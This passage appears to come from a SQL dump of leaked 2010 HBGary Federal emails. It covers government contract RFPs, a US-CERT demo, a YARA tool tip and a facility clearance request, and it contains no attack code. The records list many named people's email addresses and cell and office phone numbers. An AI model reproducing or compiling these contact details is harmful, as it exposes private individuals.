New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16254,'aaron_hbgary_com/16254.html'),(11124,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008507.M546569P14101Q5980.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Sirius','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 12:28 PM\r\nTo: Greg Hoglund; Bob Slapnik\r\nSubject: Fwd: Sirius\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: August 31, 2010 12:11:13 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Sirius\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCould it be this IARPA RFP?\r\n\r\n\r\nhttp://www.iarpa.gov/rfi_sirius.html\r\n\r\n\r\n\r\nOn Tue, Aug 31, 2010 at 10:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nI don\'t know Chad or this program. &nbsp;Will find out.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Chad Breese &lt;Chad.Breese@raytheon.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: August 31, 2010 12:01:07 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nSubject: Sirius\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRaytheon is planning to prime the Sirius opportunity this go\r\naround and we\r\n\r\n\r\n\r\n\r\n\r\nwould like to talk to you about joining the team if you are\r\ninterested.\r\n\r\n\r\n\r\n\r\n\r\nWhen would be a good time for you to get together and talk?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nChad\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChad Breese\r\n\r\n\r\n\r\n\r\n\r\nBusiness Development\r\n\r\n\r\n\r\n\r\n\r\nRaytheon Telemus, Inc.\r\n\r\n\r\n\r\n\r\n\r\n7600 Leesburg Pike, Suite 400\r\n\r\n\r\n\r\n\r\n\r\nFalls Church, VA 22043\r\n\r\n\r\n\r\n\r\n\r\nChad.Breese@Raytheon.com\r\n\r\n\r\n\r\n\r\n\r\n(571) 435-4739\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/31/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11259,'aaron_hbgary_com/11259.html'),(11125,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008507.M752650P14101Q5981.eml','all@hbgary.com','YARA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDevelopers,\r\n\r\n&nbsp;\r\n\r\nAn IR guy at GE told me about YARA.&nbsp; He said it an open\r\nsource Boolean logic language to express complex relationships. \r\n\r\n&nbsp;\r\n\r\nBelow is a link to a user manual.&nbsp; First paragraph:&nbsp; YARA\r\nis a tool aimed at helping malware researchers to identify and classify malware\r\nfamilies. With YARA you can create descriptions of malware families based on\r\ntextual or\r\n\r\nbinary information contained on samples of those\r\nfamilies. These descriptions, namedrules, consist of a set of strings and a\r\nBoolean expression which determines the rule logic.\r\n\r\n&nbsp;\r\n\r\nhttp://docs.google.com/viewer?a=v&amp;q=cache:xBkzDNk4-VgJ:yara-project.googlecode.com/files/YARA%2520User%27s%2520Manual%25201.4.pdf+yara+boolean&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESgLxWZwDGUDxWUsxDwRRXdC2lrMh5o5QMmmeljgtJwXFBj1JoDIegFxHzdIyVpsQqyk_eAD1iEFD8doSiJ1buQab-6IGnFs0Rh_R-LCRuJpPgG-9JQTMXnjqYjNCVkpvO7TNbMU&amp;sig=AHIEtbT1l5SO2lvSFsi1g8Ms13Mw_EplNg\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5866,'aaron_hbgary_com/5866.html'),(11126,'2010-08-31','\"David Lanham\" <contact@dlanham.com>','/aaron@hbgary.com/new/1297008507.M964834P14101Q5982.eml','','Portrait appointment','I had you scheduled for a portrait drawing, but unfortunately I need to cut back on them for a bit. Between a large project that\'s come up and other prior commitments, I can\'t see having enough time to dedicate to the extra work.I\'m hoping to set up a signup form on my site in the coming months with more information and scheduling options. and&nbsp;keep an eye out on&nbsp;twitter&nbsp;or my&nbsp;news page&nbsp;for more information on that.Thanks for understanding and&nbsp;I\'ll keep you on a list in case I get some time to reschedule. Hopefully you\'ll really like the project I\'ll be working on and see why I needed the extra time ;)All the best,- David--------------------------David Lanhamdlanham.com',9910,'aaron_hbgary_com/9910.html'),(11127,'2010-08-31','\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>','/aaron@hbgary.com/new/1297008507.M98968P14101Q5978.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Tabler, Annette L\" <Annette.Tabler@ManTech.com>,sam.corbitt@siegetechnologies.com,obrienp@thebuffalogroup.com,james.berman@inceptre.com,aaron@hbgary.com,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','GATORBAIT Kick-Off Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, September 02, 2010 12:30 PM-2:00 PM. Eastern Standard Time\r\n\r\nWhere: 7799 Leesburg Pike, Falls Church, VA (10S Cougar Den)\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\nTeam,\r\n&nbsp;\r\nThe GATORBAIT RFP dropped yesterday.&nbsp; This kick-off meeting is to discuss roles and responsibilities for the proposal, review the RFP and provide the proposal schedule.&nbsp; Our proposal is due to the government on\r\n27 Sep.&nbsp; Please let me know if there are any questions.&nbsp; We look forward to working with everyone!\r\n&nbsp;\r\nv/r\r\nJeremy\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',483,'aaron_hbgary_com/483.html'),(11128,'2010-09-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008508.M155899P14101Q5983.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','US CERT','AaronGreg is possibly unavailable next Thursday.  Do you believe that Shawn Bracken would be able to provide the support you need for the Threat Management Center? Greg may end up travelling to Colorado -- not confirmed yet.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',12333,'aaron_hbgary_com/12333.html'),(11129,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008508.M393824P14101Q5984.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: US CERT','What about Ted?Sent from my iPhoneOn Aug 31, 2010, at 8:51 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nAaronGreg is possibly unavailable next Thursday.  Do you believe that Shawn Bracken would be able to provide the support you need for the Threat Management Center?\r\n Greg may end up travelling to Colorado -- not confirmed yet.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\n',5901,'aaron_hbgary_com/5901.html'),(11130,'2010-09-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008512.M563705P14101Q5985.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: US CERT','sure does he know much about the TMC\r\n \r\nwhat I don&#39;t understand is how to present this it is just a bunch of servers.  Maybe all you need is a few slides.  Byron doesn&#39;t know probaby how Digital DNA and REcon work and how the analysis is done.  We can also talk about how we use the TMC -- how to create a custom Genome and \r\n\r\nhow we run against Virus Total etc.  also about sharing information\r\n \r\nWhat do you think?  \r\nHere is the last slide deck I have from Greg\r\nOn Tue, Aug 31, 2010 at 5:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nWhat about Ted?Sent from my iPhone\r\n\r\n\r\n\r\nOn Aug 31, 2010, at 8:51 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron \r\n\r\nGreg is possibly unavailable next Thursday.  Do you believe that Shawn Bracken would be able to provide the support you need for the Threat Management Center?\r\n\r\n Greg may end up travelling to Colorado -- not confirmed yet.\r\n\r\n\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',8233,'aaron_hbgary_com/8233.html'),(11131,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008513.M280015P14101Q5987.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: US CERT','Ted and I will work it out.  I think I have a good story in mind.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 31, 2010, at 9:04 PM, Maria Lucas  wrote:\r\n\r\n> sure does he know much about the TMC\r\n>\r\n> what I don\'t understand is how to present this it is just a bunch of\r\n> servers.  Maybe all you need is a few slides.  Byron doesn\'t know probaby\r\n> how Digital DNA and REcon work and how the analysis is done.  We can also\r\n> talk about how we use the TMC -- how to create a custom Genome and\r\n> how we run against Virus Total etc.  also about sharing information\r\n>\r\n> What do you think?\r\n> Here is the last slide deck I have from Greg\r\n> On Tue, Aug 31, 2010 at 5:52 PM, Aaron Barr  wrote:\r\n>\r\n>> What about Ted?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 31, 2010, at 8:51 PM, Maria Lucas  wrote:\r\n>>\r\n>> Aaron\r\n>>\r\n>> Greg is possibly unavailable next Thursday.  Do you believe that Shawn\r\n>> Bracken would be able to provide the support you need for the Threat\r\n>> Management Center?\r\n>>\r\n>> Greg may end up travelling to Colorado -- not confirmed yet.\r\n>>\r\n>>\r\n>>\r\n>> Maria\r\n>>\r\n>> --\r\n>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>>\r\n>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>> email: maria@hbgary.com\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n> \r\n',5024,'aaron_hbgary_com/5024.html'),(11132,'2010-09-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008513.M49773P14101Q5986.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','DigitalGlobe','DigitalGlobe will be next Thursday afternoon 2-3:30 mountainIf I can confirm that the decision-makers will be in the meeting then Greg will fly in -- he really wants to close the opportunity.  \r\nI&#39;ll let you know,-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',12655,'aaron_hbgary_com/12655.html'),(11133,'2010-09-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008513.M502783P14101Q5988.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: US CERT','OK Great!  Thanks alot  On Tue, Aug 31, 2010 at 6:04 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nTed and I will work it out.  I think I have a good story in mind.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 31, 2010, at 9:04 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n&gt; sure does he know much about the TMC\r\n&gt;\r\n&gt; what I don&#39;t understand is how to present this it is just a bunch of\r\n&gt; servers.  Maybe all you need is a few slides.  Byron doesn&#39;t know probaby\r\n&gt; how Digital DNA and REcon work and how the analysis is done.  We can also\r\n&gt; talk about how we use the TMC -- how to create a custom Genome and\r\n&gt; how we run against Virus Total etc.  also about sharing information\r\n&gt;\r\n&gt; What do you think?\r\n&gt; Here is the last slide deck I have from Greg\r\n&gt; On Tue, Aug 31, 2010 at 5:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; What about Ted?\r\n&gt;&gt;\r\n&gt;&gt; Sent from my iPhone\r\n&gt;&gt;\r\n&gt;&gt; On Aug 31, 2010, at 8:51 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; Greg is possibly unavailable next Thursday.  Do you believe that Shawn\r\n&gt;&gt; Bracken would be able to provide the support you need for the Threat\r\n&gt;&gt; Management Center?\r\n&gt;&gt;\r\n&gt;&gt; Greg may end up travelling to Colorado -- not confirmed yet.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Maria\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;&gt;\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n&gt;&gt; email: maria@hbgary.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;\r\n&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n&gt; email: maria@hbgary.com\r\n&gt; &lt;HBGary__ActiveDefense_Presentation_4-20-10.pptx&gt;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6310,'aaron_hbgary_com/6310.html'),(11134,'2010-09-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008513.M759547P14101Q5989.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','this space is so fucking crowded with crap','Look at all this garbage - is any of this worth anything?  The space around hosted events / hosted virtual spaces is alot more crowded than I thought.  Based on just what is here it is clear that just having a server w/ a web based 3d plugin is NOT the way to establish leadership in this space.\r\n\r\n \r\nhttp://www.3dxplorer.com/\r\nhttp://www.exitreality.com/\r\n3Di OpenViewer (in-browser viewer) for OpenSim &amp; SecondLifeWeb.Alive from Nortel\r\nhttp://www.venuegen.com/\r\nhttp://www.teleplace.com/\r\nhttp://www.assemblive.com/\r\nhttp://www.amphisocial.com/\r\nhttp://www.sirikata.com/blog/?tag=berkelium\r\nA World for Us http://www.assemblive.com/Altadyn http://www.3dxplorer.com/American Research Institute, Inc. (ARI) http://www.americanri.com/\r\nAmphisocial http://www.amphisocial.com/Avaya http://products.nortel.com/go/product_content.jsp?parId=0&amp;segId...\r\nForterra Systems http://www.forterrainc.com/IBM http://www-01.ibm.com/software/lotus/services/vc4sametime.html\r\nInXpo http://www.inxpo.com/ON24 http://www.on24.com/ProtonMedia http://www.protonmedia.com/\r\nReactionGrid http://www.reactiongrid.com/Rivers Run Red http://immersivespaces.com/Sun Microsystems https://lg3d-wonderland.dev.java.net/\r\nTeleplace http://www.teleplace.com/Unisfair http://www.unisfair.com/VastPark http://www.vastpark.com/\r\nVenueGen http://www.venuegen.com/Virtual Italian Parks http://moondus.com/\r\n',9865,'aaron_hbgary_com/9865.html'),(11135,'2010-09-01','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008513.M976480P14101Q5990.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - DARPA (CINDER) Proposers Day','August 31, 2010 8:00 AM : DARPA (CINDER) Proposers Day \r\n',788,'aaron_hbgary_com/788.html'),(11136,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008514.M211716P14101Q5991.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Information Needed for Sponsorship Letter','Are u sure we should do Sacramento and not colorado springs?AaronBegin forwarded message:From: Catherine Weeks &lt;cweeks@digitalmanagement.com&gt;Date: August 31, 2010 5:10:43 PM EDTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;Cc: William Luti &lt;wluti@digitalmanagement.com&gt;, \"Andrew J. Musliner\" &lt;amusliner@digitalmanagement.com&gt;Subject: Information Needed for Sponsorship LetterAaron:&nbsp;As discussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary Federal for a Facility Clearance (FCL). I will need the following information to get the ball rolling:&nbsp;Name of Facility (this should match the name on your articles of incorporation):&nbsp;Physical Address (no P.O. boxes):&nbsp;City, State and Zip Code:&nbsp;Level of Clearance required:&nbsp;Point of Contact at the Facility:&nbsp;Point of Contact\'s Telephone #:&nbsp;Point of Contact\'s Fax #:&nbsp;Point of Contact\'s E-mail Address:&nbsp;Once I get the information, I will develop a sponsorship letter. This letter is the first step in the process. The link below provides a good checklist of information to gather and forms to complete for new facility security clearances. To help expedite the facility security clearance process, it is helpful to have information gathered and forms complete before your first visit by a DSS Industrial Security Representative.&nbsp;http://www.dss.mil/isp/fac_clear/fac_clear_check.html&nbsp;If you have any questions related to the facility security clearance process, please contact me.&nbsp;Cathy WeeksDeputy FSODigital Management, Inc.1302 Concourse Drive . Suite 301 . Linthicum, MD 21090ph 240-744-3040 | mobile 301-461-8336&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;',10993,'aaron_hbgary_com/10993.html'),(11137,'2010-09-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008514.M412930P14101Q5992.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Information Needed for Sponsorship Letter','I&#39;m pretty sure. Let&#39;s discuss tomorrow. I don&#39;t think our little office would fare well. The HQs is standalone and has tons of cameras and security, etc...On Aug 31, 2010, at 9:32 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAre u sure we should do Sacramento and not colorado springs?AaronBegin forwarded message:\r\nFrom: Catherine Weeks &lt;cweeks@digitalmanagement.com&gt;\r\nDate: August 31, 2010 5:10:43 PM EDT\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nCc: William Luti &lt;wluti@digitalmanagement.com&gt;, &quot;Andrew J. Musliner&quot; &lt;amusliner@digitalmanagement.com&gt;\r\nSubject: Information Needed for Sponsorship Letter\r\n\r\nAaron:\r\n \r\nAs discussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary Federal for a Facility Clearance (FCL). I will need the following information to get the ball rolling:\r\n \r\nName of Facility (this should match the name on your articles of incorporation):\r\n \r\nPhysical Address (no P.O. boxes):\r\n \r\nCity, State and Zip Code:\r\n Level of Clearance required:\r\n \r\nPoint of Contact at the Facility:\r\n Point of Contact&#39;s Telephone #:\r\n \r\nPoint of Contact&#39;s Fax #:\r\n Point of Contact&#39;s E-mail Address:\r\n \r\nOnce I get the information, I will develop a sponsorship letter. This letter is the first step in the process. The link below provides a good checklist of information to gather and forms to complete for new facility security clearances. To help expedite the facility security clearance process, it is helpful to have information gathered and forms complete before your first visit by a DSS Industrial Security Representative.\r\n \r\nhttp://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n \r\nIf you have any questions related to the facility security clearance process, please contact me.\r\n Cathy Weeks\r\nDeputy FSODigital Management, Inc.\r\n1302 Concourse Drive . Suite 301 . Linthicum, MD 21090ph 240-744-3040 | mobile 301-461-8336\r\n \r\n  \r\n \r\n \r\n',12744,'aaron_hbgary_com/12744.html'),(11138,'2010-09-01','arc@westfields.net','/aaron@hbgary.com/new/1297008514.M635432P14101Q5993.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort 